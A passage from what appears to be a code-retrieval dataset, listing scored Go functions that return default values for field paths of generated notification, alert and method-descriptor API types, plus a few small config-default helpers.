*WatchNotificationRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase WatchNotificationRequest_FieldPathSelectorName:\n\t\treturn (*notification.Reference)(nil)\n\tcase WatchNotificationRequest_FieldPathSelectorFieldMask:\n\t\treturn (*notification.Notification_FieldMask)(nil)\n\tcase WatchNotificationRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for WatchNotificationRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "1562a4ec6873927c7c868daaa2dfa579", "score": "0.67814934", "text": "func (fp *Memo_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase Memo_FieldPathSelectorCreateTime:\n\t\treturn (*timestamp.Timestamp)(nil)\n\tcase Memo_FieldPathSelectorUpdateTime:\n\t\treturn (*timestamp.Timestamp)(nil)\n\tcase Memo_FieldPathSelectorMessage:\n\t\treturn \"\"\n\tcase Memo_FieldPathSelectorCreatedBy:\n\t\treturn \"\"\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for Memo: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "307fdad73fdf9fc2343274e1b6e9b750", "score": "0.6770884", "text": "func (fp *ListAlertsRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase ListAlertsRequest_FieldPathSelectorParent:\n\t\treturn (*alert.ParentName)(nil)\n\tcase ListAlertsRequest_FieldPathSelectorPageSize:\n\t\treturn int32(0)\n\tcase ListAlertsRequest_FieldPathSelectorPageToken:\n\t\treturn (*alert.PagerCursor)(nil)\n\tcase ListAlertsRequest_FieldPathSelectorOrderBy:\n\t\treturn (*alert.OrderBy)(nil)\n\tcase ListAlertsRequest_FieldPathSelectorFilter:\n\t\treturn (*alert.Filter)(nil)\n\tcase ListAlertsRequest_FieldPathSelectorFieldMask:\n\t\treturn (*alert.Alert_FieldMask)(nil)\n\tcase ListAlertsRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tcase ListAlertsRequest_FieldPathSelectorIncludePagingInfo:\n\t\treturn false\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for ListAlertsRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "a13defa8343c59642bcd183d4761b0af", "score": "0.6756315", "text": "func (fps *BatchGetMethodDescriptorsResponse_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "6c44ab48a58514bce78fa0a8a429ec83", "score": "0.6735684", "text": "func (fps *WatchMethodDescriptorsResponse_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "d8b2445ca2850a0507bb0efb40770a4d", "score": "0.6724996", "text": "func (fps *ListMethodDescriptorsResponse_FieldSubPath) GetDefault() interface{} {\n\treturn fps.subPath.GetDefault()\n}", "title": "" }, { "docid": "2e6dbcacfab3246434a18c8e5da37a77", "score": "0.67197627", "text": "func (fm *FieldModelEnumSimple) GetDefault(defaults EnumSimple) (*EnumSimple, error) {\n var value EnumSimple\n err := fm.GetValueDefault(&value, defaults)\n return &value, err\n}", "title": "" }, { "docid": "d2488bbe5b849c492559997d60d26152", "score": "0.6718407", "text": "func (this *Meta) GetDefaultValue(ctx *core.Context, recorde interface{}) (v interface{}) {\n\tvar zero interface{}\n\tif this.DefaultValueFunc != nil {\n\t\tzero = this.DefaultValueFunc(recorde, ctx)\n\t} else if this.FieldStruct != nil {\n\t\tz := reflect.New(this.FieldStruct.Struct.Type).Elem()\n\t\tif this.FieldStruct.Struct.Type.Kind() == reflect.Struct {\n\t\t\tzero = z.Addr().Interface()\n\t\t} else {\n\t\t\tzero = z.Interface()\n\t\t}\n\t}\n\tvar err error\n\tif v, err = this.TriggerValuerEvent(E_META_DEFAULT_VALUE, recorde, ctx, nil, zero); err != nil {\n\t\tpanic(MetaEventError{this, E_META_DEFAULT_VALUE, err})\n\t}\n\treturn\n}", "title": "" }, { "docid": "00c3cebd5e2d4e2d17912dd350b063e2", "score": "0.6715966", "text": "func (fp *GetAlertRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase GetAlertRequest_FieldPathSelectorName:\n\t\treturn (*alert.Reference)(nil)\n\tcase GetAlertRequest_FieldPathSelectorFieldMask:\n\t\treturn (*alert.Alert_FieldMask)(nil)\n\tcase GetAlertRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for GetAlertRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "64de153a74f77f042851d7655691499b", "score": "0.67142653", "text": "func (fp *DeleteNotificationRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase DeleteNotificationRequest_FieldPathSelectorName:\n\t\treturn (*notification.Reference)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for DeleteNotificationRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "0e45c5f9e768e9b760ee6070b945e884", "score": "0.6709242", "text": "func (fp *UpdateNotificationRequestCAS_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase UpdateNotificationRequestCAS_FieldPathSelectorConditionalState:\n\t\treturn (*notification.Notification)(nil)\n\tcase UpdateNotificationRequestCAS_FieldPathSelectorFieldMask:\n\t\treturn (*notification.Notification_FieldMask)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for UpdateNotificationRequest_CAS: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "e8bfefd42763b4db51f38844c4ef7175", "score": "0.66898096", "text": "func (d *DefaultDict) getDefault() defaultType {\n\tt := reflect.ValueOf(d.DefaultFactory)\n\n\tswitch t.Kind() {\n\t// bool\n\tcase reflect.Bool:\n\t\treturn false\n\t// int types\n\tcase reflect.Int:\n\t\treturn int(0)\n\tcase reflect.Int8:\n\t\treturn int8(0)\n\tcase reflect.Int32:\n\t\treturn int32(0)\n\tcase reflect.Int64:\n\t\treturn int64(0)\n\t// uint types\n\tcase reflect.Uint:\n\t\treturn uint(0)\n\tcase reflect.Uint8:\n\t\treturn uint8(0)\n\tcase reflect.Uint32:\n\t\treturn uint32(0)\n\tcase reflect.Uint64:\n\t\treturn uint64(0)\n\t// float types\n\tcase reflect.Float32:\n\t\treturn float32(0)\n\tcase reflect.Float64:\n\t\treturn float64(0)\n\t// string\n\tcase reflect.String:\n\t\treturn string(\"\")\n\t// more complex types created with make\n\tcase reflect.Slice:\n\t\ts := make([]interface{}, 0)\n\t\treturn s\n\tcase reflect.Map:\n\t\tm := make(map[interface{}]interface{})\n\t\treturn m\n\tcase reflect.Chan:\n\t\tc := make(chan interface{}, 0)\n\t\treturn c\n\t// return nil if we can't get type by reflection\n\tdefault:\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "90f0ec5cbec6152d257242044f707bbd", "score": "0.66882795", "text": "func (fp *Project_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase Project_FieldPathSelectorName:\n\t\treturn (*Name)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for Project: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "003cac5183c4184c438208cb459abc84", "score": "0.668745", "text": "func (fp *WatchNotificationsRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase WatchNotificationsRequest_FieldPathSelectorType:\n\t\treturn watch_type.WatchType_STATEFUL\n\tcase WatchNotificationsRequest_FieldPathSelectorParent:\n\t\treturn (*notification.ParentReference)(nil)\n\tcase WatchNotificationsRequest_FieldPathSelectorPageSize:\n\t\treturn int32(0)\n\tcase WatchNotificationsRequest_FieldPathSelectorPageToken:\n\t\treturn (*notification.PagerCursor)(nil)\n\tcase WatchNotificationsRequest_FieldPathSelectorOrderBy:\n\t\treturn (*notification.OrderBy)(nil)\n\tcase WatchNotificationsRequest_FieldPathSelectorResumeToken:\n\t\treturn \"\"\n\tcase WatchNotificationsRequest_FieldPathSelectorStartingTime:\n\t\treturn (*timestamp.Timestamp)(nil)\n\tcase WatchNotificationsRequest_FieldPathSelectorFilter:\n\t\treturn (*notification.Filter)(nil)\n\tcase WatchNotificationsRequest_FieldPathSelectorFieldMask:\n\t\treturn (*notification.Notification_FieldMask)(nil)\n\tcase WatchNotificationsRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tcase WatchNotificationsRequest_FieldPathSelectorMaxChunkSize:\n\t\treturn int32(0)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for WatchNotificationsRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "430b62955edd319be716d91414e2ab3b", "score": "0.66472256", "text": "func (fp *BatchGetNotificationsRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase BatchGetNotificationsRequest_FieldPathSelectorNames:\n\t\treturn ([]*notification.Reference)(nil)\n\tcase BatchGetNotificationsRequest_FieldPathSelectorFieldMask:\n\t\treturn (*notification.Notification_FieldMask)(nil)\n\tcase BatchGetNotificationsRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for BatchGetNotificationsRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "aafcd4642d0079f143095d4474e48c69", "score": "0.6642629", "text": "func (fp *WatchNotificationsResponse_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase WatchNotificationsResponse_FieldPathSelectorNotificationChanges:\n\t\treturn ([]*notification.NotificationChange)(nil)\n\tcase WatchNotificationsResponse_FieldPathSelectorIsCurrent:\n\t\treturn false\n\tcase WatchNotificationsResponse_FieldPathSelectorPageTokenChange:\n\t\treturn (*WatchNotificationsResponse_PageTokenChange)(nil)\n\tcase WatchNotificationsResponse_FieldPathSelectorResumeToken:\n\t\treturn \"\"\n\tcase WatchNotificationsResponse_FieldPathSelectorSnapshotSize:\n\t\treturn int64(0)\n\tcase WatchNotificationsResponse_FieldPathSelectorIsSoftReset:\n\t\treturn false\n\tcase WatchNotificationsResponse_FieldPathSelectorIsHardReset:\n\t\treturn false\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for WatchNotificationsResponse: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "9e1b1e2eb79d69fdf25559d0a863f9c8", "score": "0.6633341", "text": "func (fp *WatchAlertsRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase WatchAlertsRequest_FieldPathSelectorType:\n\t\treturn watch_type.WatchType_STATEFUL\n\tcase WatchAlertsRequest_FieldPathSelectorParent:\n\t\treturn (*alert.ParentReference)(nil)\n\tcase WatchAlertsRequest_FieldPathSelectorPageSize:\n\t\treturn int32(0)\n\tcase WatchAlertsRequest_FieldPathSelectorPageToken:\n\t\treturn (*alert.PagerCursor)(nil)\n\tcase WatchAlertsRequest_FieldPathSelectorOrderBy:\n\t\treturn (*alert.OrderBy)(nil)\n\tcase WatchAlertsRequest_FieldPathSelectorResumeToken:\n\t\treturn \"\"\n\tcase WatchAlertsRequest_FieldPathSelectorStartingTime:\n\t\treturn (*timestamp.Timestamp)(nil)\n\tcase WatchAlertsRequest_FieldPathSelectorFilter:\n\t\treturn (*alert.Filter)(nil)\n\tcase WatchAlertsRequest_FieldPathSelectorFieldMask:\n\t\treturn (*alert.Alert_FieldMask)(nil)\n\tcase WatchAlertsRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tcase WatchAlertsRequest_FieldPathSelectorMaxChunkSize:\n\t\treturn int32(0)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for WatchAlertsRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "558ad9fb1e99f65274932a72d61baae3", "score": "0.6626581", "text": "func (fp *WatchAlertRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase WatchAlertRequest_FieldPathSelectorName:\n\t\treturn (*alert.Reference)(nil)\n\tcase WatchAlertRequest_FieldPathSelectorFieldMask:\n\t\treturn (*alert.Alert_FieldMask)(nil)\n\tcase WatchAlertRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for WatchAlertRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "ef8a26e3dd8abb5688ec63d5b69a7fe9", "score": "0.6611049", "text": "func (fp *CreateNotificationRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase CreateNotificationRequest_FieldPathSelectorParent:\n\t\treturn (*notification.ParentReference)(nil)\n\tcase CreateNotificationRequest_FieldPathSelectorNotification:\n\t\treturn (*notification.Notification)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for CreateNotificationRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "b699514152118900230380e550823ba6", "score": "0.6604706", "text": "func (f Flag) Default() interface{} {\n\tswitch f.flagT.(type) {\n\tcase *stringFlag:\n\t\treturn f.flagT.(*stringFlag).defValue\n\n\tcase *intFlag:\n\t\treturn f.flagT.(*intFlag).defValue\n\n\tcase *boolFlag:\n\t\treturn f.flagT.(*boolFlag).defValue\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8eb867b88343d4428905d18173902dcb", "score": "0.6602883", "text": "func (fp *GetMethodDescriptorRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase GetMethodDescriptorRequest_FieldPathSelectorName:\n\t\treturn (*method_descriptor.Reference)(nil)\n\tcase GetMethodDescriptorRequest_FieldPathSelectorFieldMask:\n\t\treturn (*method_descriptor.MethodDescriptor_FieldMask)(nil)\n\tcase GetMethodDescriptorRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for GetMethodDescriptorRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "56c1bc8b5bcb5a72a03a35a307d050d8", "score": "0.66015357", "text": "func (fp *UpdateNotificationRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase UpdateNotificationRequest_FieldPathSelectorNotification:\n\t\treturn (*notification.Notification)(nil)\n\tcase UpdateNotificationRequest_FieldPathSelectorUpdateMask:\n\t\treturn (*notification.Notification_FieldMask)(nil)\n\tcase UpdateNotificationRequest_FieldPathSelectorCas:\n\t\treturn (*UpdateNotificationRequest_CAS)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for UpdateNotificationRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "cbed02a3fad8755feca0cf2ba8c410e5", "score": "0.65990275", "text": "func (r *Store) GetIntDefault(key string, def int) int {\n\tif v, err := r.GetInt(key); err == nil {\n\t\treturn v\n\t}\n\n\treturn def\n}", "title": "" }, { "docid": "519aeda3a6ddb70cb2c0ee4fbdee5971", "score": "0.6591504", "text": "func (fpm *Secret_FieldPathMap) GetDefault() interface{} {\n\tswitch fpm.selector {\n\tcase Secret_FieldPathSelectorData:\n\t\tvar v string\n\t\treturn v\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for Secret: %d\", fpm.selector))\n\t}\n}", "title": "" }, { "docid": "81e5d9497e5cb36d6c3dd5a58fde24cf", "score": "0.6582058", "text": "func (fp *UpdateAlertRequestCAS_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase UpdateAlertRequestCAS_FieldPathSelectorConditionalState:\n\t\treturn (*alert.Alert)(nil)\n\tcase UpdateAlertRequestCAS_FieldPathSelectorFieldMask:\n\t\treturn (*alert.Alert_FieldMask)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for UpdateAlertRequest_CAS: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "b3482d787bf41530143bd74dad75c9a4", "score": "0.6569726", "text": "func (fp *WatchAlertsResponse_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase WatchAlertsResponse_FieldPathSelectorAlertChanges:\n\t\treturn ([]*alert.AlertChange)(nil)\n\tcase WatchAlertsResponse_FieldPathSelectorIsCurrent:\n\t\treturn false\n\tcase WatchAlertsResponse_FieldPathSelectorPageTokenChange:\n\t\treturn (*WatchAlertsResponse_PageTokenChange)(nil)\n\tcase WatchAlertsResponse_FieldPathSelectorResumeToken:\n\t\treturn \"\"\n\tcase WatchAlertsResponse_FieldPathSelectorSnapshotSize:\n\t\treturn int64(0)\n\tcase WatchAlertsResponse_FieldPathSelectorIsSoftReset:\n\t\treturn false\n\tcase WatchAlertsResponse_FieldPathSelectorIsHardReset:\n\t\treturn false\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for WatchAlertsResponse: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "ac8aacbca309ac64a7201e0a214ef35e", "score": "0.6549387", "text": "func (fp *SearchNotificationsResponse_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase SearchNotificationsResponse_FieldPathSelectorNotifications:\n\t\treturn ([]*notification.Notification)(nil)\n\tcase SearchNotificationsResponse_FieldPathSelectorPrevPageToken:\n\t\treturn (*notification.PagerCursor)(nil)\n\tcase SearchNotificationsResponse_FieldPathSelectorNextPageToken:\n\t\treturn (*notification.PagerCursor)(nil)\n\tcase SearchNotificationsResponse_FieldPathSelectorCurrentOffset:\n\t\treturn int32(0)\n\tcase SearchNotificationsResponse_FieldPathSelectorTotalResultsCount:\n\t\treturn int32(0)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for SearchNotificationsResponse: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "1051586b20dfaa9958cdc495a772ee25", "score": "0.6537308", "text": "func (fp *BatchGetAlertsRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase BatchGetAlertsRequest_FieldPathSelectorNames:\n\t\treturn ([]*alert.Reference)(nil)\n\tcase BatchGetAlertsRequest_FieldPathSelectorFieldMask:\n\t\treturn (*alert.Alert_FieldMask)(nil)\n\tcase BatchGetAlertsRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for BatchGetAlertsRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "960473b1656f6f0309d49a9455e5271b", "score": "0.653163", "text": "func (fp *DeleteAlertRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase DeleteAlertRequest_FieldPathSelectorName:\n\t\treturn (*alert.Reference)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for DeleteAlertRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "b6577a9e735d07380064564aa058d855", "score": "0.64976656", "text": "func GetFloatDefault(json map[string]interface{}, def float64, path ...string) float64 {\n\tv, ok := GetFloat(json, path...)\n\tif ok {\n\t\treturn v\n\t}\n\treturn def\n}", "title": "" }, { "docid": "4ba70be4da5da2336691b167d7c038a0", "score": "0.64975995", "text": "func (fm *FieldModelOrderSide) GetDefault(defaults OrderSide) (*OrderSide, error) {\n var value OrderSide\n err := fm.GetValueDefault(&value, defaults)\n return &value, err\n}", "title": "" }, { "docid": "ab51ddc465d5d63c13d08b81acc82f4a", "score": "0.64959586", "text": "func (r *Store) GetInt64Default(key string, def int64) int64 {\n\tif v, err := r.GetInt64(key); err == nil {\n\t\treturn v\n\t}\n\n\treturn def\n}", "title": "" }, { "docid": "44b0f556c2cb24a6719d8982c15d998d", "score": "0.6491508", "text": "func (fp *ListNotificationsResponse_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase ListNotificationsResponse_FieldPathSelectorNotifications:\n\t\treturn ([]*notification.Notification)(nil)\n\tcase ListNotificationsResponse_FieldPathSelectorPrevPageToken:\n\t\treturn (*notification.PagerCursor)(nil)\n\tcase ListNotificationsResponse_FieldPathSelectorNextPageToken:\n\t\treturn (*notification.PagerCursor)(nil)\n\tcase ListNotificationsResponse_FieldPathSelectorCurrentOffset:\n\t\treturn int32(0)\n\tcase ListNotificationsResponse_FieldPathSelectorTotalResultsCount:\n\t\treturn int32(0)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for ListNotificationsResponse: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "9e08508c5bd5a125e6ab8ef956496655", "score": "0.6446816", "text": "func (fp *WatchMethodDescriptorRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase WatchMethodDescriptorRequest_FieldPathSelectorName:\n\t\treturn (*method_descriptor.Reference)(nil)\n\tcase WatchMethodDescriptorRequest_FieldPathSelectorFieldMask:\n\t\treturn (*method_descriptor.MethodDescriptor_FieldMask)(nil)\n\tcase WatchMethodDescriptorRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for WatchMethodDescriptorRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "00114918ee671955e16b73805313806c", "score": "0.6443926", "text": "func (fp *UpdateMethodDescriptorRequestCAS_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase UpdateMethodDescriptorRequestCAS_FieldPathSelectorConditionalState:\n\t\treturn (*method_descriptor.MethodDescriptor)(nil)\n\tcase UpdateMethodDescriptorRequestCAS_FieldPathSelectorFieldMask:\n\t\treturn (*method_descriptor.MethodDescriptor_FieldMask)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for UpdateMethodDescriptorRequest_CAS: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "f9fbf97610d2d36da2339a334f033dd4", "score": "0.64318925", "text": "func (f *Field) DefaultValue() Code {\n\treturn f.defaultValue\n}", "title": "" }, { "docid": "ff2f44badf9763b295fd3471fe2442d6", "score": "0.6429615", "text": "func Default(f schema.Field, v interface{}) schema.Field {\n\tf.Default = v\n\treturn f\n}", "title": "" }, { "docid": "e70b784f76fc8a4dfc7a859b4262f4c5", "score": "0.6423982", "text": "func (fp *CreateAlertRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase CreateAlertRequest_FieldPathSelectorParent:\n\t\treturn (*alert.ParentReference)(nil)\n\tcase CreateAlertRequest_FieldPathSelectorAlert:\n\t\treturn (*alert.Alert)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for CreateAlertRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "b9b8fc188a42a6a0ee37d3641db6d3a1", "score": "0.64214635", "text": "func (fp *BatchGetMethodDescriptorsRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase BatchGetMethodDescriptorsRequest_FieldPathSelectorNames:\n\t\treturn ([]*method_descriptor.Reference)(nil)\n\tcase BatchGetMethodDescriptorsRequest_FieldPathSelectorFieldMask:\n\t\treturn (*method_descriptor.MethodDescriptor_FieldMask)(nil)\n\tcase BatchGetMethodDescriptorsRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for BatchGetMethodDescriptorsRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "d6788f9868b8eeff569dbcca05c691c5", "score": "0.6418659", "text": "func (fp *WatchMethodDescriptorsRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase WatchMethodDescriptorsRequest_FieldPathSelectorType:\n\t\treturn watch_type.WatchType_STATEFUL\n\tcase WatchMethodDescriptorsRequest_FieldPathSelectorPageSize:\n\t\treturn int32(0)\n\tcase WatchMethodDescriptorsRequest_FieldPathSelectorPageToken:\n\t\treturn (*method_descriptor.PagerCursor)(nil)\n\tcase WatchMethodDescriptorsRequest_FieldPathSelectorOrderBy:\n\t\treturn (*method_descriptor.OrderBy)(nil)\n\tcase WatchMethodDescriptorsRequest_FieldPathSelectorResumeToken:\n\t\treturn \"\"\n\tcase WatchMethodDescriptorsRequest_FieldPathSelectorStartingTime:\n\t\treturn (*timestamp.Timestamp)(nil)\n\tcase WatchMethodDescriptorsRequest_FieldPathSelectorFilter:\n\t\treturn (*method_descriptor.Filter)(nil)\n\tcase WatchMethodDescriptorsRequest_FieldPathSelectorFieldMask:\n\t\treturn (*method_descriptor.MethodDescriptor_FieldMask)(nil)\n\tcase WatchMethodDescriptorsRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tcase WatchMethodDescriptorsRequest_FieldPathSelectorMaxChunkSize:\n\t\treturn int32(0)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for WatchMethodDescriptorsRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "ac1de3f16e51335f957b888a7d0edbe5", "score": "0.6412754", "text": "func (fp *UpdateAlertRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase UpdateAlertRequest_FieldPathSelectorAlert:\n\t\treturn (*alert.Alert)(nil)\n\tcase UpdateAlertRequest_FieldPathSelectorUpdateMask:\n\t\treturn (*alert.Alert_FieldMask)(nil)\n\tcase UpdateAlertRequest_FieldPathSelectorCas:\n\t\treturn (*UpdateAlertRequest_CAS)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for UpdateAlertRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "2c34618748ebbe949ad556874c748607", "score": "0.6411256", "text": "func (s *EnumSchema) Default() string {\n\treturn s.def\n}", "title": "" }, { "docid": "43022acc4e63d8c2c3f654fb01953af1", "score": "0.6408039", "text": "func (s *Float64Flag) DefaultValue() interface{} {\n\treturn s.Default\n}", "title": "" }, { "docid": "1a3ad3506b71fa5aa2bfd0e9aa0e6d63", "score": "0.6406673", "text": "func (fp *WatchMethodDescriptorsResponse_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase WatchMethodDescriptorsResponse_FieldPathSelectorMethodDescriptorChanges:\n\t\treturn ([]*method_descriptor.MethodDescriptorChange)(nil)\n\tcase WatchMethodDescriptorsResponse_FieldPathSelectorIsCurrent:\n\t\treturn false\n\tcase WatchMethodDescriptorsResponse_FieldPathSelectorPageTokenChange:\n\t\treturn (*WatchMethodDescriptorsResponse_PageTokenChange)(nil)\n\tcase WatchMethodDescriptorsResponse_FieldPathSelectorResumeToken:\n\t\treturn \"\"\n\tcase WatchMethodDescriptorsResponse_FieldPathSelectorSnapshotSize:\n\t\treturn int64(0)\n\tcase WatchMethodDescriptorsResponse_FieldPathSelectorIsSoftReset:\n\t\treturn false\n\tcase WatchMethodDescriptorsResponse_FieldPathSelectorIsHardReset:\n\t\treturn false\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for WatchMethodDescriptorsResponse: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "75683544bb0d69bfe5114212994ec7da", "score": "0.6377957", "text": "func (fp *ListMethodDescriptorsRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase ListMethodDescriptorsRequest_FieldPathSelectorPageSize:\n\t\treturn int32(0)\n\tcase ListMethodDescriptorsRequest_FieldPathSelectorPageToken:\n\t\treturn (*method_descriptor.PagerCursor)(nil)\n\tcase ListMethodDescriptorsRequest_FieldPathSelectorOrderBy:\n\t\treturn (*method_descriptor.OrderBy)(nil)\n\tcase ListMethodDescriptorsRequest_FieldPathSelectorFilter:\n\t\treturn (*method_descriptor.Filter)(nil)\n\tcase ListMethodDescriptorsRequest_FieldPathSelectorFieldMask:\n\t\treturn (*method_descriptor.MethodDescriptor_FieldMask)(nil)\n\tcase ListMethodDescriptorsRequest_FieldPathSelectorView:\n\t\treturn view.View_UNSPECIFIED\n\tcase ListMethodDescriptorsRequest_FieldPathSelectorIncludePagingInfo:\n\t\treturn false\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for ListMethodDescriptorsRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "3cd2203a25696863538d80d58605ace4", "score": "0.63586926", "text": "func (s *SparseSlice) Default() (r interface{}) {\n\tif s != nil {\n\t\tr = s.defaultValue.data\n\t}\n\treturn\n}", "title": "" }, { "docid": "5c3cca75a1146ff7339141a65f15e5ac", "score": "0.63551515", "text": "func (fp *ListAlertsResponse_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase ListAlertsResponse_FieldPathSelectorAlerts:\n\t\treturn ([]*alert.Alert)(nil)\n\tcase ListAlertsResponse_FieldPathSelectorPrevPageToken:\n\t\treturn (*alert.PagerCursor)(nil)\n\tcase ListAlertsResponse_FieldPathSelectorNextPageToken:\n\t\treturn (*alert.PagerCursor)(nil)\n\tcase ListAlertsResponse_FieldPathSelectorCurrentOffset:\n\t\treturn int32(0)\n\tcase ListAlertsResponse_FieldPathSelectorTotalResultsCount:\n\t\treturn int32(0)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for ListAlertsResponse: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "93e288b63c816e6f64d6f9a918e2b12e", "score": "0.6344491", "text": "func (fp *MonitoredResourceDescriptor_FieldTerminalPath) 